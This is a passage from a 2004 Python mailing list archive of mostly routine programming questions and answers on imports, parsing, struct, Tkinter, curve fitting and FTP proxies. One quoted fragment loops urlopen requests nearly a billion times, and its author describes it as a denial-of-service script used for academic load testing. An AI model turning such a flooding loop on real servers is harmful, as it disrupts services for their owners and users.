round, b gets a reference to an incompletely executed module a.

The simplest way to avoid this problem is to remove your 'import b' from 
module 'a'. Since in the code you cut this import isn't used it won't be a 
problem. If you really have stuff in 'a' that needs to get at 'b' then make 
sure that all references from 'a' to 'b' can't execute until after 'b' has 
finished importing. References to 'b.something' from inside functions 
defined by 'a' will be fine, but you can't refer to 'b.something' from 
inside the body (and outside the methods) of ClassA.


From Scott.Daniels at Acm.Org  Sun Feb 15 20:41:57 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sun, 15 Feb 2004 17:41:57 -0800
Subject: Beginners list of Python donloads - please review
In-Reply-To: <msls20574i1v06ksrvvuknvlndocf65kii@4ax.com>
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
	<msls20574i1v06ksrvvuknvlndocf65kii@4ax.com>
Message-ID: <4030292f$1@nntp0.pdx.net>

If your machine has a fancy-ish display card, it probably does
OPEN-GL.  If so, you might check into VPython as another download.
The visual aspect is enough to keep your interest up.

     http://vpython.org/


-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From theller at python.net  Thu Feb 19 12:57:54 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 19 Feb 2004 18:57:54 +0100
Subject: COM Help
References: <ABEE81BE08ADD311B6A1009027DE908D16A94FBE@conmsx03.corp.acxiom.net>
Message-ID: <znbfar4t.fsf@python.net>

Lindstrom Greg - glinds <Greg.Lindstrom at acxiom.com> writes:

> I have been working with the Windows MAPI material trying to understand what
> is going on.  There appears to be a lot of code out there showing how things
> work (kind of)  but very little documentation on *why* things happen.

I cannot answer your specific questions, but (if you haven't already)
you should take a look into the spambayes outlook plugin.

Thomas




From dontbotherworld at yahoo.com  Sun Feb 22 21:22:18 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Sun, 22 Feb 2004 18:22:18 -0800 (PST)
Subject: Help With  EOF character: URGENT
In-Reply-To: <200402222251.42061.godoy@ieee.org>
Message-ID: <20040223022218.86939.qmail@web60805.mail.yahoo.com>

I am trying to build an engine for text classification
with AI techniques. I am also trying to do email
classification using this: 
How can i use a HTML Parser with Python?
Any hints?
I do agree that HTML doc has lot of attributes and its
not an easy game to do parsing: I had thought python
would help, But I am still wondering: I have a good
hand at C but I migrated just in case python has some
modules which can assist me
Thanks
Dont
--- Jorge Godoy <godoy at ieee.org> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> On Sunday 22 February 2004 22:36, you wrote:
> > Can you tell me something for stripping a text
> > for example:
> >
> > jorgeGodoy<b>Tall<\b><b>file<\b>
> > I want to strip this string in:
> >
> > 1 jorgeGodoy
> > 2 Tall
> > 3 file
> >
> > ignoring htmls and associating index for each of
> them
> >
> > Thanks a Ton
> > Dont
> 
> You'd better go with an HTML parser or something
> like that. 
> 
> Parsing HTML is not all that easy, specially if it
> has attributes and other 
> stuff. 
> 
> With regards to indexing each word, you might use a
> dictionary. You can even 
> count how many times a word appears with that.
> 
> There's a nice example at divingintopython.org,
> IIRC. 
> 
> 
> Be seeing you,
> - -- 
> Godoy.     <godoy at ieee.org>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.3 (GNU/Linux)
> 
>
iD8DBQFAOVysEzC+baSjBiURAnbSAJ42r8NzidJyyMC60Ydn0ok1vcklUQCeK3k/
> 3e3vPeMRQZLA1ht0zR/8Pj0=
> =6yeL
> -----END PGP SIGNATURE-----


__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From paul at prescod.net  Tue Feb 24 13:09:31 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 24 Feb 2004 10:09:31 -0800
Subject: Thoughts about Python
In-Reply-To: <c1futm$7gu$1@sea.gmane.org>
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<c1futm$7gu$1@sea.gmane.org>
Message-ID: <403B935B.4050601@prescod.net>

Terry Reedy wrote:

> 
> Quiz: how would you rewrite map(len, ['abc', (1,2,3,4), [5,6]]) if len()
> were a method?

map(lambda x: x.len(), ['abc', (1,2,3,4), [5,6]])

or

[x.len() for x in ['abc', (1,2,3,4), [5,6]]]

>>classes start with an uppercase letter:
>>myList = List()
> 
> This appears to be a convention or rule you learned from another language.
> Though some Python programmers follow it, tt is not part of Python.
 > ...

It actually is a pretty good convention. There really is a pretty big 
distinction between functions and types (isa, inheritance etc.) so it is 
good to distinguish them. Also, many classes in the standard library use 
upper-case classes. (e.g. UserList, Pickler, etc.)

  Paul Prescod





From simoninusa2001 at yahoo.co.uk  Sat Feb 21 18:43:25 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 21 Feb 2004 15:43:25 -0800
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
Message-ID: <30260531.0402211543.d810721@posting.google.com>

johng2001 at rediffmail.com (John) wrote in message news:<ba129ce7.0402211010.231375d7 at posting.google.com>...
> I need a web app framework in python with support for session
> management (ala ASP/PHP). However, unlike some modules I found, I need
> to integrate with an existing Apache install without opening any new
> application server ports (not my server). Is there such a module which
> I can just toss it into pythonpath and get to work?

You could use cookies and/or database writes. Never been a big fan of
PHP sessions myself - they are basically temp files and GET variables
after all....


From http  Mon Feb  9 21:08:01 2004
From: http (Paul Rubin)
Date: 09 Feb 2004 18:08:01 -0800
Subject: Unix domain sockets / IPC - how to get remote process/user id?
References: <78c7ca81.0402091539.82af1cb@posting.google.com>
	<mailman.1395.1076376163.12720.python-list@python.org>
Message-ID: <7xptcnptz2.fsf@ruckus.brouhaha.com>

Jeff Epler <jepler at unpythonic.net> writes:

> On Mon, Feb 09, 2004 at 03:39:34PM -0800, Fossie wrote:
> > So, for my question: What are my options? I cannot believe I am the
> > first with this problem. Preferable, only standard python packages
> > should be used.
> 
> My Linux manpage for unix(7) indicates that SCM_RIGHTS is not portable.
> (I am not 100% sure this is what you're talking about, because it's
> nothing I've ever done before) In any case, I looked but didn't find an
> implementation of the needed sendmsg(2) .. I found only this:
> 	https://sourceforge.net/tracker/?func=detail&atid=355470&aid=814689&group_id=5470

Yes, that is the right way to do it, with a patch as suggested in that
bug report.


From jcarlson at nospam.uci.edu  Fri Feb 13 02:07:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 12 Feb 2004 23:07:44 -0800
Subject: python vs. perl
In-Reply-To: <102olcupesj3lf6@corp.supernews.com>
References: <20040212170911.22719.00001914@mb-m18.aol.com>
	<402BFAFA.70A476F5@engcorp.com>
	<102o6h6s1nm6g23@corp.supernews.com>
	<t7WdnfnhcaxcqrHd4p2dnA@adelphia.com>
	<102olcupesj3lf6@corp.supernews.com>
Message-ID: <c0ht8i$9sd$1@news.service.uci.edu>

> I maintain the official FAQ for Perl/Tk--yet I prefer Tkinter.

That is awesome.

  - Josiah


From claird at lairds.com  Thu Feb 26 18:14:33 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 26 Feb 2004 23:14:33 -0000
Subject: Simple question for all of you python gurus
References: <NYu%b.12366$qL1.145@fed1read02>
Message-ID: <103svepnqovuk5e@corp.supernews.com>

In article <NYu%b.12366$qL1.145 at fed1read02>,
Sean Berry <sean_berry at cox.net> wrote:
			.
			.
			.
>so I tried to do something like this
>os.system("cd /home/%s/.tmda/pending" %userid)
>li = os.popen("/usr/bin/grep -i %s" %phase)
>lis = lis.readlines()
>
>But since cd is a shell command, it does not seem to work either.
>
>How can I do this?
			.
			.
			.
  import os

  os.chdir("/home/%s/.tmda/pending" % userid)
  li = os.popen(...
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From bart_nessux at hotmail.com  Fri Feb 20 10:14:49 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Fri, 20 Feb 2004 10:14:49 -0500
Subject: int vs. float in benchmark testing
In-Reply-To: <40361F50.3D6153C8@engcorp.com>
References: <c152au$t58$1@solaris.cc.vt.edu> <40361F50.3D6153C8@engcorp.com>
Message-ID: <c15899$ag1$1@solaris.cc.vt.edu>

Peter Hansen wrote:
> Bart Nessux wrote:
> 
>>Would adding .0 to each of the numbers below turn this into a floating
>>point test? Seems too easy.
>>
>>def cpu_test():
>>    import time
>>    start = time.time()
>>    x = 0                               # 0.0
>>    while x < 9999999:                  # 9999999.0
>>       x = x + 1                                # 1.0
>>       print x
>>    print (time.time()-start)/60
>>cpu_test()
> 
> 
> Uh, yes it would, as far as it goes, but are you sure you're
> learning something useful by doing so?

Uh, yes. We're benchmarking different processors. An IBM PPC 970 does 
things differently than an Intel P4. Running the same bit of Python code 
on both makes for an interesting comparison. Since processors handle 
ints and floats differently, it is useful for me to test them both.




From edcjones at erols.com  Tue Feb 24 10:56:03 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Tue, 24 Feb 2004 10:56:03 -0500
Subject: Parsing library for Python?
In-Reply-To: <1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<40366383$0$3104$61fed72c@news.rcn.com>
	<1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
Message-ID: <403b7517$0$3068$61fed72c@news.rcn.com>

Tim Roberts wrote:
> "Edward C. Jones" <edcjones at erols.com> wrote:
> 
>>When looking for a parser generator, I think it is important that full 
>>grammars be provided for at least C and Python and preferably for C++, 
>>Java, and FORTRAN.
> 
> 
> Are you kidding with this?  I can't tell.
> 
> C, C++, and Fortran are parsing nightmares, where end-of-line and spacing
> are important sometimes and ignored at other times, and so on.
> 
> I expect to find the canonical desk calculator example, and perhaps a
> Pascal-based language, but any more than that is asking a bit much from all
> but the most mature parser generators.

Not kidding. Nothing can be parsed without a grammar. I think parsing 
the standard computer languages is a common need. I am sporatically 
developing software to automatically generate Pyrex code for wrapping C 
libraries in Python. I use ANTLR because it comes with a good C grammar.

And then there is HTML. I wonder how Mozilla parses all the ill-formed 
html that is on the web.


From secchi at sssup.it  Tue Feb 24 10:28:55 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Tue, 24 Feb 2004 16:28:55 +0100
Subject: problem with struct module
Message-ID: <20040224162855.5a0a0d33.secchi@sssup.it>


I'm trying to use the unpack method in the struct module to parse a
binary file without success. I have a binary file with records that
include many fields for a total length of 1970. Few days ago I was
suggested by the list to use the struct module to parse it using the
following code in the hypothesis that for each records I have just two
fields:

import struct
fmt='10s1960s'
size=struct.calcsize(fmt)
f=file("data")
s=f.read(size)

while s:
    print 'read:', s
    d1,d2=struct.unpack(fmt,s)
    print 'unpack', d1

Probably I was not even able to explain my problem since it seem that
this code is not able to read the file. Can anybody help me, maybe
asking for other infos they need? Also just suggest me a place where I
can find examples of using struc.unpack would be very helpful.
Thanks.
a.




--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From forshtat at hotmail.com  Mon Feb  2 12:35:43 2004
From: forshtat at hotmail.com (Ziv Forshtat)
Date: 2 Feb 2004 09:35:43 -0800
Subject: wxPython: Transferring keyboard events from one frame to another
Message-ID: <c335e460.0402020935.36b00bcc@posting.google.com>

Hi All,
I'm in the process of implementing a virtual keypad: I have a wxFrame
which contains a photo the keypad of some device, and I'm using it to
enter special keywords into an editor window (wxStc). Each part of the
photo is associated with a certain keyword, which is sent to the
editor frame and displayed inside the editor. This is working fine.
However, if I want a proper virtual keyboard I should also be able to
transfer the regular keypresses (keyboard events) from my virtual
keypad frame to the editor frame, in order to save the user the
trouble of clicking on the editor window every time in order to set
the focus.

I tried using wxPostEvent to transfer the KEY_DOWN event from the
keypad frame to the appropriate control in the editor frame. The
problem is that the event which I am posting is only caught if I
override the KEY_DOWN event. It does not find its way to the default
event handler of this event.

I have read that there are some problems with wxPostEvent in this
context, but was wondering if someone has found a workaround for this
issue, as this would be the simplest solution for my problem. Other
ideas are also welcome...

BTW, I'm working on MSW. 

Thanks,
       Ziv


From http  Tue Feb  3 14:06:43 2004
From: http (Paul Rubin)
Date: 03 Feb 2004 11:06:43 -0800
Subject: removing spaces when mixing variables / text
References: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
Message-ID: <7xptcwgeyk.fsf@ruckus.brouhaha.com>

"tgiles" <tgiles at spam.kc.rr.com> writes:
> Everything is perfect with the glaring exeception of the output. It seems
> as if when one uses the "," in a print statement, you get an empty space
> in between variables and what I want there (namely, the ".").

Yeah, that's because of the somewhat un-Pythonic behavior of the print
statement, which inserts spaces around the printed items, and a newline
at the end.

> 	print a,".",b,".",c,".",d	

Try  
        print "%d.%d.%d.%d." % (a, b, c, d)


From martin at v.loewis.de  Mon Feb  9 01:40:37 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 07:40:37 +0100
Subject: Python/Parrot still alive?
In-Reply-To: <6ee58e07.0402082034.1d909f2b@posting.google.com>
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
	<6ee58e07.0402082034.1d909f2b@posting.google.com>
Message-ID: <c07a14$7p4$07$1@news.t-online.com>

Lothar Scholz wrote:
>>Some interpreters don't have virtual machines, e.g. Tcl did not
>>have one until Tcl 8 or so. OTOH, not all virtual machines are
> 
> 
> So Ruby is an interpreter and not a virutal machine ?

I don't know how Ruby is implemented.

On the language level, there are not interpreted or compiled
languages - there are only interpreters and compilers, and they
are on the level of language implementation. So your question
would be only valid for "Ruby 1.8.1" or some other specific
version. However, I could not answer the question for any Ruby
version.

Regards,
Martin



From ramen at lackingtalent.com  Tue Feb 17 01:06:42 2004
From: ramen at lackingtalent.com (Dave Benjamin)
Date: Tue, 17 Feb 2004 06:06:42 -0000
Subject: keyword that stops further processing of a Python script
References: <2c83305ajs1vgqt65oo97t15b82grqjd7u@4ax.com>
Message-ID: <slrnc33cdj.afe.ramen@lackingtalent.com>

In article <2c83305ajs1vgqt65oo97t15b82grqjd7u at 4ax.com>, Avi Kak wrote:
> 
>   Does Python provide a token like Perl's __END__
>   that would mark the logical end of a Python script 
>   which could occur before the actual end of the file. 
> 
>   I have found Perl's __END__ token to be very useful 
>   for debugging scripts.  So I was wondering if
>   Python provided a similar facility.

I think it's denoted by an endless expanse of significant whitespace.
Har, har. Sorry, couldn't resist.

-- 
.:[ dave benjamin: ramen/[sp00] -:- spoomusic.com -:- ramenfest.com ]:.
: d r i n k i n g   l i f e   o u t   o f   t h e   c o n t a i n e r :


From bart_nessux at hotmail.com  Sun Feb  8 11:05:06 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 08 Feb 2004 11:05:06 -0500
Subject: passing what a function returns to another function
References: <c03uh1$6ut$1@solaris.cc.vt.edu>
	<pan.2004.02.08.16.07.24.719493.12811@mikka.net.au>
Message-ID: <c05mn8$q9a$1@solaris.cc.vt.edu>

Steven wrote:
>     for i in xrange(999999999):
>         # hmmm, this looks like a Denial of Service attack to me...
>         # haven't you got something better to do with your time,
>         # like maybe writing a natural language parser or something
>         # useful and challenging?
>         f = urlopen(url)


Thanks for the tips on functions.

It is a Denial of Service script written in Python and it is very effective
(produces loads > 150 on a 1000MHz PowerMac G4 running apache with static
html pages). It's been written for Unix load testing in an academic
setting. It will not be misused. Just trying to get the client/server
details worked out since the scripts have been rewritten to be more
modular... here's where I ran into problems with functions. 

Again, thanks to all for the tips.


From Moosebumps at Moosebumps.Moosebumps  Tue Feb 24 01:54:44 2004
From: Moosebumps at Moosebumps.Moosebumps (Moosebumps)
Date: Tue, 24 Feb 2004 06:54:44 GMT
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
Message-ID: <UyC_b.2001$h11.1216@newssvr27.news.prodigy.com>

It seems like you could demonstrate the same thing a little more clearly and
concisely with a short program with annotations.  It reads like a bunch of
facts, which is not very easy for most people to remember.  If you wrap it
in some context they will be more likely to remember it.

Some standard programs from textbooks, like parsing a list of names and
addresses and doing some queries on them maybe, and formatting the text
output nicely.  some program where you would have cause to use string
operations like slicing, dictionaries, tuples, lists, etc.

It will also "sell" python more if you can write a nice elegant program that
is clear and easy to understand, while demonstrating many language features.

"Adam Barr" <adamba at gte.net> wrote in message
news:ce782195.0402232218.6e64177c at posting.google.com...
> For a book I am working on, I have written a brief (9 page) summary
> of Python. The intent of this is that an experienced programmer who
> did
> not know Python would be able to get enough information to read and
> understand Python programs. It is not meant to be a 100% complete
> summary of the language, but everything in there should be correct.
>
> If anyone is interested, please feel free to read it and send me
> comments. Note that the material is copyrighted, this document is
> provided for review only, and the ideas contained in any comments may
> be used in the book, in whole or in part, with no rights granted to
> the person who provided the comments. I will however acknowledge by
> name (if desired) anyone who sends comments.
>
> The information is in PDF form per my publisher's request, but if this
> is a problem for anyone, email me and I can send it to you in plain
> text.
>
> The file is at
>
> http://www.proudlyserving.com/language/python.pdf
>
> I have written similar summaries for other languages and will
> hopefully post them (with a virtually identical message) in the
> appropriate newsgroups in the next few days.
>
> Thank you.
>
> - Adam Barr
> adamba at gte.net




From deets_noospaam at web.de  Thu Feb  5 15:13:35 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 21:13:35 +0100
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<mailman.1263.1076010539.12720.python-list@python.org>
	<eb4539e160b097fc59a5c0075515339a.46955@mygate.mailgate.org>
Message-ID: <bvu85f$ecs$07$1@news.t-online.com>

Carmine Noviello wrote:

>> Don't know how difficult changing a license is, though.
> 
> Why?

If you are the only developer, its no deal. But as in the GPL and other
licenses the copyright of code remains by the actualy contributor, you have
to ensure that all contributers agree with a license change. 

--
Regards,

Diez B. Roggisch


From tismer at stackless.com  Fri Feb 27 14:45:31 2004
From: tismer at stackless.com (Christian Tismer)
Date: Fri, 27 Feb 2004 20:45:31 +0100
Subject: Sprint on Stackless Python March 10-14 in Berlin
In-Reply-To: <Pine.LNX.4.58.0402111825380.11552@echo.ukshells.co.uk>
References: <Pine.LNX.4.58.0402101646090.29866@echo.ukshells.co.uk>	<40291EEB.7010201@stackless.com>	<Pine.LNX.4.58.0402111449430.26111@echo.ukshells.co.uk>	<402A47CC.1060606@stackless.com>	<Pine.LNX.4.58.0402111557580.11552@echo.ukshells.co.uk>	<402A5DD1.1070903@stackless.com>	<Pine.LNX.4.58.0402111825380.11552@echo.ukshells.co.uk>
Message-ID: <403F9E5B.6010501@stackless.com>

As already announced, the

***********************************************
***                                         ***
***   S t a c k l e s s     S p r i n t     ***
***                                         ***
***********************************************

has now a settled date:
It will take place in Berlin, March 10-14 2004.

We will have a room in the Free University of Berlin
in Berlin-Dahlem. Address and room will be announced,
soon.

How to attend?
See bottom of this message.

Contents?
Well, there is a lot possible.

Current topics which come into mind are

* autoscheduling
* scheduling object
* brain storming!
* Zope Wiki and Documentation
* making channels really stackless
* demo applications
* more regression tests
* real zope apps?
* refactoring Stackless: simpler and configurable
* create a Stackless tutorial
* minimalist Stackless Python with no hardware dependency
* assembly-free Stackless with setjmp/longjmp
* spreading the internals between developers

but this is completely open for discussion.

Level?
Well, it will be a bit simpler than the pypy-sprints,
which I think are very difficult, but Stackless
has its built-in difficulties by nature.

Usability?
This is by far, now and forever, the best possible way
to learn about Stackless Python and to become a core
developer. But no guarantee possible :-)

Payback?
Well, it is intended that Stackless Python should
be developed further. If you are using or planning to
use Stackless for your products, you are highly encouraged
to support Stackless Python by money and by submitting
your best developers, regardless how painfully they are
going to be missed by the company.

Coaching?
Yes, it is probable and whished, that Stackless Python
will become a topic for training and coaching.
First of all, we will try to leverage our knowledge.

Fun?
Guaranteed.

Schedule
--------
There is no particular schedule, yet, but for the first day.
I am planning to give a talk on Stackless technology, and
to be available for questions and discussion during the
whole first day.
Attendees with small or no knowledge about Stackless Python
are strongly encouraged to join that session.

Accomodation
------------
There are no special arrangements planned. We hope to find
a place for every external sprinter at the home of the
Berlin habitants. I'm taking two already, please don't ask.

How to attend:
--------------
Please subscribe to the mailing list

        stackless-sprint at stackless.com

which you can find via this interface:
http://www.stackless.com/mailman/listinfo/stackless-sprint

By subscribing, you state that you want to come to the sprint.
We have only limited reources left and can take only a few.

-------

I hereby wish to thank *Dirk Pape* and *Christoph v. Stuckrad*
from FU Berlin for making this event possible!

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From jacek.generowicz at cern.ch  Thu Feb 26 07:14:52 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 13:14:52 +0100
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <tyfy8qqkpfn.fsf@pcepsft001.cern.ch>

Zunbeltz Izaola <zunbeltz at wm.lc.ehu.es.XXX> writes:

> I have the following classes defined
> 
> ModeA, ModeB, TypeA, TypeB, TypeC, SubtypeA, SubtypeB.
> 
> Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
> something like
> 
> class UserClass(ModeA, TypeB, SubtypeB):
>         pass
> 
> I can define all the posibilitys different classes and the using nested
> if/else I can use the correct class, but I want to know if there is a way 
> generate in the fly and in this way there is no necesarity to change code whe
> new Modes or Types are created.

Is the following what you want ?

======================================================
class TypeA: pass
class TypeB: pass
class TypeC: pass
class SubtypeA: pass
class SubtypeB: pass

collect_bases = [(Mode, Type, Subtype)
                 for Mode in [ModeA, ModeB]
                 for Type in [TypeA, TypeB, TypeC]
                 for Subtype in [SubtypeA, SubtypeB]]

count = 0
for bases in collect_bases:
    name = "UserClass%d" % count
    the_class = type(name, bases, {})
    globals()[name] = the_class
    count += 1
======================================================

Now you can try 

>>> UserClass0.__bases__
(<class '__main__.ModeA'>, <class '__main__.TypeA'>, <class
'__main__.SubtypeA'>)

>>> UserClass1.__bases__
(<class '__main__.ModeA'>, <class '__main__.TypeA'>, <class
'__main__.SubtypeB'>)
>>> UserClass2.__bases__
(<class '__main__.ModeA'>, <class '__main__.TypeB'>, <class
'__main__.SubtypeA'>)

And so on, until 

>>> UserClass11.__bases__
(<class '__main__.ModeB'>, <class '__main__.TypeC'>, <class
'__main__.SubtypeB'>)


From claird at lairds.com  Tue Feb 17 01:39:40 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 17 Feb 2004 06:39:40 -0000
Subject: best way(s) to fit a polynomial to points?
References: <iuu4g1-kl1.ln1@jowls.lairds.org>
Message-ID: <1033dpcqcubjg16@corp.supernews.com>

In article <iuu4g1-kl1.ln1 at jowls.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
>I'm trying to do some georeferencing - using points of known
>location (ground control points, GCPs) on an image to develop
>a polynomial that can be used to approximate the locations of
>other points. 
>
>I usually use the Python bindings to GDAL
>	http://www.remotesensing.org/gdal/
>to manipulate geospatial data but there are no Python bindings
>for GDALCreateGCPTransformer().
>	http://remotesensing.org/cgi-bin/cvsweb.cgi/~checkout~/osrs/gdal/alg/gdal_crs.c?rev=1.4.2.1&content-type=text/plain
>I tried using it from C (both through GDAL and directly to
>the GRASS code) and failed.
>
>I'd rather have a Python-based solution anyway, so I'm
>searching for appropriate tools.  The ones I'm finding (like
>matplotlib.mlab.polyfit() and PyBLD's polfit()) only deal with
>single variable equations (f(x) = X).  I need something that
>operates on two variables (f(x, y) = X).  (I'd have two
>polynomials; one would calculate the northing and the other
>would do the easting).  I need to be able to fit at least
>third degree polynomials.
>
>The solution does not need to be especially fast.  A pure
>Python solution is preferred but I'll take about anything
>that works right now.  (I'm trying to show someone how to do
>this.  I've only used proprietary software to do it but I've
>been meaning to write my own.)
			.
			.
			.
"I tried using it ... and failed."  I naturally wonder *how*
you (it, more likely) failed--the specific details of what
you actually observed.  I can imagine, though, that if you 
had the time to understand and describe what happened with
precision, it'd be easier fixing it than talking about it.
We can live this part aside for now.

Curve-fitting is a domain where a lot of subtlety accompanies
the transition from one to two dimensions.  Let me repeat in
my own words some of what you've said, to be certain I under-
stand:  you have a table of observations, in columns

  x      y     X

with a large number of rows.  You have reason to believe that
the table can be adequately modeled by a polynomial of low 
degree in x and y, jointly, plus small non-systematic errors.
The use of this polynomial will be to estimate new X-s from
new values of x and y.

Will the new (x,y)-s be interior to the convex hull formed by
the tabulated ones, or might they be outside?

I don't know PyBLD and matplotlib.  It's *very* likely, though,
that there's a simple way to restate the problem so that the
least-squares' solvers they must embed can be applied to 
simply transformed data to yield polynomial coefficients.  How
soon does this thing need to go live?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From jmcalvar at telecable.es  Wed Feb  4 10:29:01 2004
From: jmcalvar at telecable.es (=?ISO-8859-1?Q?Jos=E9?=)
Date: Wed, 04 Feb 2004 16:29:01 +0100
Subject: search between 2 files
In-Reply-To: <bvr21s$aev$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
	<bvr21s$aev$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <bvr33v$dup$1@nsnmrro2-gest.nuria.telefonica-data.net>

I think with the both solutions it works if I have the files in the same 
format, so I think I'll call a script command to have the files in the 
same way, and when I learn more python I'll try with regular expressions

:-))

thank you very much


Jos? escribi?:

> mmmh, it's not the same, but I try with this indications.
> 
> I have a file called "data" from djbdns with different domain, for example:
> 
> ----------------------
> .domain.com:ns.domain.com
> +domain.com
> +.*domain.com
> .domain1.com:ns.domain1.com
> +domain.com
> +.*domain.com
> ------------------------
> 
> and have a new file for example "list" with new domains
> 
> -------------------------
> newdomain.com
> newdomain1.com
> newdomain1.com
> -------------------------
> 
> I'm programming a little interface in python, and before I modify the 
> "data" file I'd like to know if I have in the list one domain I have in 
> data.
> 
> Thans
> 
> 
> 
> 
> Jos? escribi?:
> 
>> I'm newby in Python, and I'm working on a script to manage files.
>> I have two files, one with a list of domains, and the other with a new 
>> list of domains. I'd like to know if I have a repeated domain in the 
>> new's one. I tried opening with readline(), with readlines(), but 
>> truly I have no idea to countinue.
>>
>> Have anybody any question?
>>
>> thanks
>>
> 



From bobmcc at rocketsoftware.com  Tue Feb 24 20:56:10 2004
From: bobmcc at rocketsoftware.com (Bob McCormick)
Date: Tue, 24 Feb 2004 17:56:10 -0800
Subject: FTP with urllib2 behind a proxy
In-Reply-To: <5.2.0.9.0.20040224174433.01dc40e0@xmail2ca.tcsi.com>
Message-ID: <5.2.0.9.0.20040224175518.01dbb240@xmail2ca.tcsi.com>

One more thing....John mentioned environment settings.....can someone point
to where these would be documented for FTP & Proxy?  I don't see them in 
urllib2.

thanks
bob


At 05:53 PM 2/24/2004 -0800, Bob McCormick wrote:
>Hello,
>         I came across this email thread, and I can't seem to get the 
> examples to work.
>         I am running Proxy+ proxy server.  It sets up HTTP proxy on port 
> 4480, cnad FTP proxy on 4421.
>         I'm not sure how to add the IP addr & host of the proxy server to 
> the authorization.  Is it something like:
>         proxyauth = "http://anonymous at me:137.134.5.20:4421"
>         proxy_handler = urllib2.ProxyHandler( { 'http' : proxyauth, 'ftp' 
> : proxyauth})
>
>When I try this, and then try 
>urllib2.urlopen("ftp://ftp.mathcs.emory.edu/pub/misc/emacs")
>I get
>
>urllib2.URLError: <urlopen error (1, 'address family not supported')>
>
>Does this mean that I don't have an FTP handler defined?
>
>As far as I know, I don't need any special authorizaiton to access my 
>proxy server, just the IP and host.
>
>Also, the python doc mentioned in the FTPHandler that it uses blank for 
>user and password.  Is this really correct?  Will this work?  Most sites 
>want "anonymous" and an email addr.
>
>         Thanks for any help or pointers that you can provide.
>
>--
>Bob McCormick                 email: 
>Bob.McCormick at rocketsoftware.com
>Rocket Software Inc.,         OSS Business Unit
>(formerly TCSI Corp.)         voice: +1 510-749-8720
>1080 Marina Village Parkway   fax: +1 510-749-8700
>Alameda, CA 94501-1046 USA    www: http://www.rocketsoftware.com




From __peter__ at web.de  Tue Feb 17 19:59:47 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 01:59:47 +0100
Subject: Two sub-packages in different directories
References: <mBwYb.3715$Ks6.48439@nnrp1.uunet.ca>
Message-ID: <c0ude3$1hh$02$1@news.t-online.com>

Nicolas Fleury wrote:

> I want to know if it is possible to have two sub-packages of the same
> package in different directories.  For example, have mycompany.team1 and
> mycompany.team2 packages in two different directories, at least one not
> in the directory of mycompany package.  I'm on Windows and softlinks are
> not a solution.

http://www.python.org/doc/current/lib/module-pkgutil.html

Peter


From fnord at u.washington.edu  Fri Feb 20 13:18:09 2004
From: fnord at u.washington.edu (Lonnie Princehouse)
Date: 20 Feb 2004 10:18:09 -0800
Subject: eval ?
References: <mailman.104.1077277571.27104.python-list@python.org>
Message-ID: <f70e3538.0402201018.657bbc8b@posting.google.com>

Hi Angelo,

Welcome to Python =)

Why not make a list of lists? I.e.

lists = [ [] for i in range(3) ]
for my_list in lists:
  for i in range(6):
    if some_condition(i):
